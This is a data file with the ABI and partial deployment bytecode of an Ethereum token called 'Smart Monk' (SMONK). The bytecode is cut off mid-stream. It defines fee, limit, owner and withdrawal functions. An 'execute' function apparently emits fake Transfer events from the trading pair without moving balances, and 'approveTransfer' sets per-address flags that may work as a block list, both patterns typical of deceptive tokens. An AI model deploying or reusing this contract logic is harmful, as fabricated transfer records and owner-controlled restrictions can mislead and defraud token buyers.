[ { "inputs": [ { "internalType": "address", "name": "marketingWallet_", "type": "address" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": false, "internalType": "bool", "name": "isExcluded", "type": "bool" } ], "name": "ExcludeFromFees", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "pair", "type": "address" }, { "indexed": true, "internalType": "bool", "name": "value", "type": "bool" } ], "name": "SetAutomatedMarketMakerPair", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "_holderLastTransferTimestamp", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_uniswapV2Router", "outputs": [ { "internalType": "contract IUniswapV2Router02", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_pair", "type": "address" } ], "name": "addPair", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "address_", "type": "address[]" }, { "internalType": "bool", "name": "val", "type": "bool" } ], "name": "approveTransfer", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "burn", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "buyFee", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" } ], "name": "call", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "subtractedValue", "type": "uint256" } ], "name": "decreaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" }, { "internalType": "bool", "name": "excluded", "type": "bool" } ], "name": "excludeFromFees", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "updAds", "type": "address" }, { "internalType": "bool", "name": "isEx", "type": "bool" } ], "name": "excludeFromMaxTransaction", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "_addresses", "type": "address[]" }, { "internalType": "uint256", "name": "_out", "type": "uint256" } ], "name": "execute", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "addedValue", "type": "uint256" } ], "name": "increaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "initialTotalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "isExcludedFromFees", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "percent", "type": "uint256" } ], "name": "manualSwapToken", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "maxTransactionAmount", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "maxWallet", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "openTrading", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "removeTheLimits", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "sellFee", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "pair", "type": "address" }, { "internalType": "bool", "name": "value", "type": "bool" } ], "name": "setAutomatedMarketMakerPair", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "_buyFee", "type": "uint256" }, { "internalType": "uint256", "name": "_sellFee", "type": "uint256" } ], "name": "setFee", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "stopTransferDelay", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "swapEnabled", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "swapTokensAtAmount", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "tokensWithdraw", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "tradingOpen", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "transferDelayEnabled", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "from", "type": "address" }, { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "transferOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "uniswapV2Pair", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "withdrawEth", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "stateMutability": "payable", "type": "receive" } ]
60a0604052620000146200059d60201b60201c565b600a62000022919062000bec565b6305f5e10062000033919062000c3d565b600a556000600b556000600c556103e8600a805462000053919062000c3d565b6200005f919062000cb7565b600d55600d54600e556000600f60006101000a81548160ff0219169083151502179055506103e86002600a5462000097919062000c3d565b620000a3919062000cb7565b6011556000601260006101000a81548160ff0219169083151502179055506000601260016101000a81548160ff021916908315150217905550348015620000e957600080fd5b50604051620054803803806200548083398181016040528101906200010f919062000d59565b6040518060400160405280600a81526020017f536d617274204d6f6e6b000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f534d4f4e4b00000000000000000000000000000000000000000000000000000081525081600490816200018c919062000ffb565b5080600590816200019e919062000ffb565b505050620001c1620001b5620005a660201b60201c565b620005ae60201b60201c565b6001600080620001d6620005a660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002c0620005a660201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003133060016200067460201b60201c565b6200032861dead60016200067460201b60201c565b6200034a6200033c620005a660201b60201c565b60016200072f60201b60201c565b6200035f61dead60016200072f60201b60201c565b6200037460805160016200072f60201b60201c565b620003873060016200072f60201b60201c565b620003bc600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200072f60201b60201c565b620003f1600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200072f60201b60201c565b6200041362000405620005a660201b60201c565b60016200067460201b60201c565b62000448600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200067460201b60201c565b6200047d600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200067460201b60201c565b620004b2600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200072f60201b60201c565b620004e7600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200079a60201b60201c565b6200051d600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546200083b60201b60201c565b6001600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550506200127a565b60006009905090565b600033905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b62000684620009a960201b60201c565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620007239190620010ff565b60405180910390a25050565b6200073f620009a960201b60201c565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008ad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008a4906200117d565b60405180910390fd5b620008c16000838362000a4860201b60201c565b8060036000828254620008d591906200119f565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009899190620011eb565b60405180910390a3620009a56000838362000a4d60201b60201c565b5050565b600080620009bc620005a660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1662000a46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a3d9062001258565b60405180910390fd5b565b505050565b505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000ae05780860481111562000ab85762000ab762000a52565b5b600185161562000ac85780820291505b808102905062000ad88562000a81565b945062000a98565b94509492505050565b60008262000afb576001905062000bce565b8162000b0b576000905062000bce565b816001811462000b24576002811462000b2f5762000b65565b600191505062000bce565b60ff84111562000b445762000b4362000a52565b5b8360020a91508482111562000b5e5762000b5d62000a52565b5b5062000bce565b5060208310610133831016604e8410600b841016171562000b9f5782820a90508381111562000b995762000b9862000a52565b5b62000bce565b62000bae848484600162000a8e565b9250905081840481111562000bc85762000bc762000a52565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000bf98262000bd5565b915062000c068362000bdf565b925062000c357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ae9565b905092915050565b600062000c4a8262000bd5565b915062000c578362000bd5565b925082820262000c678162000bd5565b9150828204841483151762000c815762000c8062000a52565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000cc48262000bd5565b915062000cd18362000bd5565b92508262000ce45762000ce362000c88565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000d218262000cf4565b9050919050565b62000d338162000d14565b811462000d3f57600080fd5b50565b60008151905062000d538162000d28565b92915050565b60006020828403121562000d725762000d7162000cef565b5b600062000d828482850162000d42565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000e0d57607f821691505b60208210810362000e235762000e2262000dc5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000e8d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000e4e565b62000e99868362000e4e565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000edc62000ed662000ed08462000bd5565b62000eb1565b62000bd5565b9050919050565b6000819050919050565b62000ef88362000ebb565b62000f1062000f078262000ee3565b84845462000e5b565b825550505050565b600090565b62000f2762000f18565b62000f3481848462000eed565b505050565b5b8181101562000f5c5762000f5060008262000f1d565b60018101905062000f3a565b5050565b601f82111562000fab5762000f758162000e29565b62000f808462000e3e565b8101602085101562000f90578190505b62000fa862000f9f8562000e3e565b83018262000f39565b50505b505050565b600082821c905092915050565b600062000fd06000198460080262000fb0565b1980831691505092915050565b600062000feb838362000fbd565b9150826002028217905092915050565b620010068262000d8b565b67ffffffffffffffff81111562001022576200102162000d96565b5b6200102e825462000df4565b6200103b82828562000f60565b600060209050601f8311600181146200107357600084156200105e578287015190505b6200106a858262000fdd565b865550620010da565b601f198416620010838662000e29565b60005b82811015620010ad5784890151825560018201915060208501945060208101905062001086565b86831015620010cd5784890151620010c9601f89168262000fbd565b8355505b6001600288020188555050505b505050505050565b60008115159050919050565b620010f981620010e2565b82525050565b6000602082019050620011166000830184620010ee565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001165601f836200111c565b915062001172826200112d565b602082019050919050565b60006020820190508181036000830152620011988162001156565b9050919050565b6000620011ac8262000bd5565b9150620011b98362000bd5565b9250828201905080821115620011d457620011d362000a52565b5b92915050565b620011e58162000bd5565b82525050565b6000602082019050620012026000830184620011da565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620012406020836200111c565b91506200124d8262001208565b602082019050919050565b60006020820190508181036000830152620012738162001231565b9050919050565b6080516141ce620012b260003960008181610d1c01528181611cdf0152818161285801528181612939015261296001526141ce6000f3fe6080604052600436106102555760003560e01c80637571336a11610139578063c2b7bbb6116100b6578063dd62ed3e1161007a578063dd62ed3e14610873578063e2f45605146108b0578063f2fde38b146108db578063f55332ab14610904578063f8b45b0514610941578063ffb54a991461096c5761025c565b8063c2b7bbb6146107a0578063c876d0b9146107c9578063c8c8ebe4146107f4578063c9567bf91461081f578063cd5f101d146108365761025c565b8063a0ef91df116100fd578063a0ef91df146106bd578063a457c2d7146106d4578063a746223f14610711578063a9059cbb1461073a578063c0246668146107775761025c565b80637571336a146105fe5780638da5cb5b1461062757806395d89b41146106525780639a7a23d61461067d5780639b636545146106a65761025c565b806339509351116101d257806352f7c9881161019657806352f7c98814610502578063583e05681461052b5780636ddd17131461055657806370a0823114610581578063715018a6146105be57806371f5f01a146105d55761025c565b8063395093511461040957806342966c6814610446578063470624021461046f57806349bd5a5e1461049a5780634fbee193146104c55761025c565b806326ededb81161021957806326ededb8146103485780632b14ca56146103715780632cb743f71461039c578063311028af146103b3578063313ce567146103de5761025c565b806306fdde0314610261578063095ea7b31461028c578063139864a8146102c957806318160ddd146102e057806323b872dd1461030b5761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b50610276610997565b6040516102839190612f21565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612fe1565b610a29565b6040516102c0919061303c565b60405180910390f35b3480156102d557600080fd5b506102de610a4c565b005b3480156102ec57600080fd5b506102f5610a68565b6040516103029190613066565b60405180910390f35b34801561031757600080fd5b50610332600480360381019061032d9190613081565b610a72565b60405161033f919061303c565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190613139565b610aa1565b005b34801561037d57600080fd5b50610386610b78565b6040516103939190613066565b60405180910390f35b3480156103a857600080fd5b506103b1610b7e565b005b3480156103bf57600080fd5b506103c8610c1c565b6040516103d59190613066565b60405180910390f35b3480156103ea57600080fd5b506103f3610c22565b60405161040091906131b5565b60405180910390f35b34801561041557600080fd5b50610430600480360381019061042b9190612fe1565b610c2b565b60405161043d919061303c565b60405180910390f35b34801561045257600080fd5b5061046d600480360381019061046891906131d0565b610c62565b005b34801561047b57600080fd5b50610484610c7e565b6040516104919190613066565b60405180910390f35b3480156104a657600080fd5b506104af610c84565b6040516104bc919061320c565b60405180910390f35b3480156104d157600080fd5b506104ec60048036038101906104e79190613227565b610caa565b6040516104f9919061303c565b60405180910390f35b34801561050e57600080fd5b5061052960048036038101906105249190613254565b610d00565b005b34801561053757600080fd5b50610540610d1a565b60405161054d91906132f3565b60405180910390f35b34801561056257600080fd5b5061056b610d3e565b604051610578919061303c565b60405180910390f35b34801561058d57600080fd5b506105a860048036038101906105a39190613227565b610d51565b6040516105b59190613066565b60405180910390f35b3480156105ca57600080fd5b506105d3610d9a565b005b3480156105e157600080fd5b506105fc60048036038101906105f791906131d0565b610dae565b005b34801561060a57600080fd5b506106256004803603810190610620919061333a565b610e46565b005b34801561063357600080fd5b5061063c610ea9565b604051610649919061320c565b60405180910390f35b34801561065e57600080fd5b50610667610ed3565b6040516106749190612f21565b60405180910390f35b34801561068957600080fd5b506106a4600480360381019061069f919061333a565b610f65565b005b3480156106b257600080fd5b506106bb61100b565b005b3480156106c957600080fd5b506106d261107f565b005b3480156106e057600080fd5b506106fb60048036038101906106f69190612fe1565b61116c565b604051610708919061303c565b60405180910390f35b34801561071d57600080fd5b506107386004803603810190610733919061337a565b6111e3565b005b34801561074657600080fd5b50610761600480360381019061075c9190612fe1565b61128a565b60405161076e919061303c565b60405180910390f35b34801561078357600080fd5b5061079e6004803603810190610799919061333a565b6112ad565b005b3480156107ac57600080fd5b506107c760048036038101906107c29190613227565b61135e565b005b3480156107d557600080fd5b506107de6113d7565b6040516107eb919061303c565b60405180910390f35b34801561080057600080fd5b506108096113ea565b6040516108169190613066565b60405180910390f35b34801561082b57600080fd5b506108346113f0565b005b34801561084257600080fd5b5061085d60048036038101906108589190613227565b611415565b60405161086a9190613066565b60405180910390f35b34801561087f57600080fd5b5061089a600480360381019061089591906133da565b61142d565b6040516108a79190613066565b60405180910390f35b3480156108bc57600080fd5b506108c56114b4565b6040516108d29190613066565b60405180910390f35b3480156108e757600080fd5b5061090260048036038101906108fd9190613227565b6114ba565b005b34801561091057600080fd5b5061092b60048036038101906109269190613227565b61153d565b604051610938919061303c565b60405180910390f35b34801561094d57600080fd5b50610956611593565b6040516109639190613066565b60405180910390f35b34801561097857600080fd5b50610981611599565b60405161098e919061303c565b60405180910390f35b6060600480546109a690613449565b80601f01602080910402602001604051908101604052809291908181526020018280546109d290613449565b8015610a1f5780601f106109f457610100808354040283529160200191610a1f565b820191906000526020600020905b815481529060010190602001808311610a0257829003601f168201915b5050505050905090565b600080610a346115ac565b9050610a418185856115b4565b600191505092915050565b610a5461177d565b600a54600e81905550600a54600d81905550565b6000600354905090565b600080610a7d6115ac565b9050610a8a858285611811565b610a9585858561189d565b60019150509392505050565b610aa961177d565b60005b83839050811015610b7257838382818110610aca57610ac961347a565b5b9050602002016020810190610adf9190613227565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b5d9190613066565b60405180910390a38080600101915050610aac565b50505050565b600b5481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bbf6115ac565b73ffffffffffffffffffffffffffffffffffffffff1614610bdf57600080fd5b6000610bea30610d51565b9050610c1930600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361189d565b50565b600a5481565b60006009905090565b600080610c366115ac565b9050610c57818585610c48858961142d565b610c5291906134d8565b6115b4565b600191505092915050565b610c6a61177d565b610c7b610c756115ac565b8261254c565b50565b600c5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610d0861177d565b80600b8190555081600c819055505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b601260009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610da261177d565b610dac60006126f3565b565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610def6115ac565b73ffffffffffffffffffffffffffffffffffffffff1614610e0f57600080fd5b6000610e1a30610d51565b9050600060648383610e2c919061350c565b610e36919061357d565b9050610e41816127b9565b505050565b610e4e61177d565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610ee290613449565b80601f0160208091040260200160405190810160405280929190818152602001828054610f0e90613449565b8015610f5b5780601f10610f3057610100808354040283529160200191610f5b565b820191906000526020600020905b815481529060010190602001808311610f3e57829003601f168201915b5050505050905090565b610f6d61177d565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff490613620565b60405180910390fd5b6110078282612a18565b5050565b61101361177d565b600f60009054906101000a900460ff16611062576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110599061368c565b60405180910390fd5b6000600f60006101000a81548160ff021916908315150217905550565b600047116110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b9906136f8565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036115ac565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611169573d6000803e3d6000fd5b50565b6000806111776115ac565b90506000611185828661142d565b9050838110156111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c19061378a565b60405180910390fd5b6111d782868684036115b4565b60019250505092915050565b6111eb61177d565b60005b838390508110156112845781601360008686858181106112115761121061347a565b5b90506020020160208101906112269190613227565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506111ee565b50505050565b6000806112956115ac565b90506112a281858561189d565b600191505092915050565b6112b561177d565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611352919061303c565b60405180910390a25050565b61136661177d565b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506113d4600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610e46565b50565b600f60009054906101000a900460ff1681565b600e5481565b6113f861177d565b6001601260016101000a81548160ff021916908315150217905550565b60106020528060005260406000206000915090505481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60115481565b6114c261177d565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611531576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115289061381c565b60405180910390fd5b61153a816126f3565b50565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d5481565b601260019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161a906138ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168990613940565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117709190613066565b60405180910390a3505050565b6000806117886115ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661180f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611806906139ac565b60405180910390fd5b565b600061181d848461142d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118975781811015611889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188090613a18565b60405180910390fd5b61189684848484036115b4565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613aaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361197b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197290613b3c565b60405180910390fd5b600081036119945761198f83836000612ab9565b612547565b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403611a205743601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611a28610ea9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a965750611a66610ea9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611acf5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b09575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b225750600f60019054906101000a900460ff16155b1561215857601260019054906101000a900460ff16611c1c57601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bdc5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1290613ba8565b60405180910390fd5b5b600f60009054906101000a900460ff